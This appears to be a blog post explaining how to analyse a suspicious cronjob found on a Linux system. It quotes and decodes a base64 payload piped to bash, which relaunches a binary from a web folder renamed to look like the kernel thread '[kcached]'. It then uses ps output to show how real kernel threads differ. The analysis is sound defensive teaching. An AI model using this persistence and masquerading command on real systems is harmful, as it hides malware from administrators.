Why basics matter
Photo by George Becker: https://www.pexels.com/photo/1-1-3-text-on-black-chalkboard-374918/
Someone on the Internet asked on Reddit what this CronJob does, as it looked strange.
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/randomAnd for most people in that subreddit several things were immediately obvious:
- The commands are obfuscated by encoding them in base64. Are very common method to - sort of - hide malicious contents
- As such this is, most likely, a harmful, malicious CronJob not created by a legitimate user of that system
- The person asking lacks basic Linux knowledge as the
|base64 -d|bash;part clearly states that the base64-string is decoded and piped into a bash process to be executed- Anyone with basic knowledge would simply have taken the string and piped it into
base64 -dretrieving the decoded string for further analysis without executing it.
- Anyone with basic knowledge would simply have taken the string and piped it into
And if we do exactly that, we get the following decoded string:
user@host:~ $ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d
/usr/bin/pkill -0 -U1004 gs-dbus 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/admin/www/gs-dbusdata -liqD" /usr/bin/bash -c "exec -a '[kcached]' '/home/admin/www/gs-dbus'" 2>/dev/nullWith these commands do is explained fairly simple. pkill checks (the -0 parameter) if a process named gs-dbus is already running under the user ID 1004. If a process is found pkill exits with 0 and everything after the || (logical OR) is not executed.
The right part of the OR is only executed when pkill exits with a 1 as no process named gs-dbus is found. On the right part there are a few environment variables and parameters being set and the process is started via the /home/admin/www/gs-dbus binary and then renamed into [kcached].
And while this explains what is logically happening. It still doesn't explain what this CronJob actually does.
Now another person explained that it is the gs-dbus service from Gnome being started, if it isn't already running and claimed it being probably safe. Why this person came to this conclusion is beyond me. Probably because https://gitlab.gnome.org/GNOME/gnome-software/-/blob/main/src/gs-dbus-helper.c shows up as a result if you just search for gs-dbus. But again this person oversaw a some critical pieces of information.
And this made me taking my time to write this little blogpost about how to approach such situations.
As there are some crucial pieces of evidence which immediately tell me that this is not a legitimate piece of software.
- Base64 encoded hashes which get executed via bash are almost never doing anything good
- If that software really belongs to Gnome you have Systemd unit-Files or Timers. Or if that is a system without Systemd: You got good old init. But then again there would, most likely, be some kind of Gnome sub-process started by Gnome itself and not some obfuscated CronJob
- Renaming the processname to
[kcached]makes it look like a kernel level thread. If there is an equivalent to "World biggest warning sign" this is it. - The binary being started is
/home/admin/www/gs-dbus. You noticewwwas being the folder where the binary is stored? Yeah, this is always an indicator that files in that folder are reachable via a Webserver. Hence I assume that/home/admin/www/hosts some vulnerable web application and this was the entry point for the malicious software & CronJob.
As what the person missed is: Processes in square brackets are always kernel level threads, running as root and have a Parent Process ID (PPID) of 2. This means someone is renaming a process started by a non-root user to look like a kernel level thread. Obviously to feint the users and security mechanisms of that system. There is no legitimate reason to do so.
Would you investigate further or even kill that process when some scanning software reports a kernel level thread? Well, the obvious answer is: Of course, YES! But far too many inexperienced users won't.
All processes with [] around them are started by kthreadd - the Kernel Thread Daemon. kthreadd itself is started by the kernel during boot.
Therefore we have 3 truths about kernel level threads:
- They will always have the process ID 2 as their parent process ID (PPID)
- They will always run as root, never as a user
- They will always be started by
[kthreadd]itself
Lets take a look at the following ps output from one of my Debian systems. I make it quick & dirty and simply grep for all processes with a [ in it.
user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
2 0 root kthreadd [kthreadd]
3 2 root rcu_gp [rcu_gp]
4 2 root rcu_par_gp [rcu_par_gp]
5 2 root slub_flushwq [slub_flushwq]
6 2 root netns [netns]
8 2 root kworker/0:0H-ev [kworker/0:0H-events_highpri]
10 2 root mm_percpu_wq [mm_percpu_wq]
11 2 root rcu_tasks_kthre [rcu_tasks_kthread]
12 2 root rcu_tasks_rude_ [rcu_tasks_rude_kthread]
13 2 root rcu_tasks_trace [rcu_tasks_trace_kthread]
14 2 root ksoftirqd/0 [ksoftirqd/0]
15 2 root rcu_preempt [rcu_preempt]
16 2 root migration/0 [migration/0]
18 2 root cpuhp/0 [cpuhp/0]
19 2 root cpuhp/1 [cpuhp/1]
20 2 root migration/1 [migration/1]
21 2 root ksoftirqd/1 [ksoftirqd/1]
23 2 root kworker/1:0H-ev [kworker/1:0H-events_highpri]
24 2 root cpuhp/2 [cpuhp/2]
25 2 root migration/2 [migration/2]
26 2 root ksoftirqd/2 [ksoftirqd/2]
28 2 root kworker/2:0H-ev [kworker/2:0H-events_highpri]
29 2 root cpuhp/3 [cpuhp/3]
30 2 root migration/3 [migration/3]
31 2 root ksoftirqd/3 [ksoftirqd/3]
33 2 root kworker/3:0H-ev [kworker/3:0H-events_highpri]
38 2 root kdevtmpfs [kdevtmpfs]
39 2 root inet_frag_wq [inet_frag_wq]
40 2 root kauditd [kauditd]
41 2 root khungtaskd [khungtaskd]
42 2 root oom_reaper [oom_reaper]
43 2 root writeback [writeback]
44 2 root kcompactd0 [kcompactd0]
45 2 root ksmd [ksmd]
46 2 root khugepaged [khugepaged]
47 2 root kintegrityd [kintegrityd]
48 2 root kblockd [kblockd]
49 2 root blkcg_punt_bio [blkcg_punt_bio]
50 2 root tpm_dev_wq [tpm_dev_wq]
51 2 root edac-poller [edac-poller]
52 2 root devfreq_wq [devfreq_wq]
54 2 root kworker/0:1H-kb [kworker/0:1H-kblockd]
55 2 root kswapd0 [kswapd0]
62 2 root kthrotld [kthrotld]
64 2 root acpi_thermal_pm [acpi_thermal_pm]
66 2 root mld [mld]
67 2 root ipv6_addrconf [ipv6_addrconf]
72 2 root kstrp [kstrp]
78 2 root zswap-shrink [zswap-shrink]
79 2 root kworker/u9:0 [kworker/u9:0]
123 2 root kworker/1:1H-kb [kworker/1:1H-kblockd]
133 2 root kworker/2:1H-kb [kworker/2:1H-kblockd]
152 2 root kworker/3:1H-kb [kworker/3:1H-kblockd]
154 2 root ata_sff [ata_sff]
155 2 root scsi_eh_0 [scsi_eh_0]
156 2 root scsi_tmf_0 [scsi_tmf_0]
157 2 root scsi_eh_1 [scsi_eh_1]
158 2 root scsi_tmf_1 [scsi_tmf_1]
159 2 root scsi_eh_2 [scsi_eh_2]
160 2 root scsi_tmf_2 [scsi_tmf_2]
173 2 root kdmflush/254:0 [kdmflush/254:0]
175 2 root kdmflush/254:1 [kdmflush/254:1]
209 2 root jbd2/dm-0-8 [jbd2/dm-0-8]
210 2 root ext4-rsv-conver [ext4-rsv-conver]
341 2 root cryptd [cryptd]
426 2 root ext4-rsv-conver [ext4-rsv-conver]
141234 1 root sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
340800 2 root kworker/0:0-cgw [kworker/0:0-cgwb_release]
341004 2 root kworker/1:1-eve [kworker/1:1-events]
341535 2 root kworker/1:2 [kworker/1:2]
341837 2 root kworker/2:0-mm_ [kworker/2:0-mm_percpu_wq]
342029 2 root kworker/2:1 [kworker/2:1]
342136 141234 root sshd sshd: user [priv]
342266 2 root kworker/0:1-eve [kworker/0:1-events]
342273 2 root kworker/u8:0-fl [kworker/u8:0-flush-254:0]
342274 2 root kworker/3:0-ata [kworker/3:0-ata_sff]
342278 2 root kworker/u8:3-ev [kworker/u8:3-events_unbound]
342279 2 root kworker/3:1-ata [kworker/3:1-ata_sff]
342307 2 root kworker/u8:1-ev [kworker/u8:1-events_unbound]
342308 2 root kworker/3:2-eve [kworker/3:2-events]
342310 342144 user grep grep --color=auto \[Notice something?
There are only 4 processes not having a PPID of 2.
user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
2 0 root kthreadd [kthreadd]
141234 1 root sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
342136 141234 root sshd sshd: user [priv]
342310 342144 user grep grep --color=auto \[One is [kthreadd] who acutally owns PID 2 and got started by PPID 0, second is my grep command and two others are from the sshd but only the [kthreadd] is actually enclosed in square brackets as it doesn't contain any commandline.
If I start a random process and rename it to [gs-dbus], similar to what the CronJob would do, it will show up in the following way:
user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
324234 453452 admin [gs-dbus] [gs-dbus]PID 324234, PPID 453452 and running under the username admin. Nothing that matches the behaviour of a kernel level thread. And this should raise all red flags your mind possesses.
And this is why basics are so important. Do not just assume a software is doing nothing bad as "There is some piece of legitimate software out there on the Internet sharing the same name.". Anyone can lie. And the bad people most likely are.
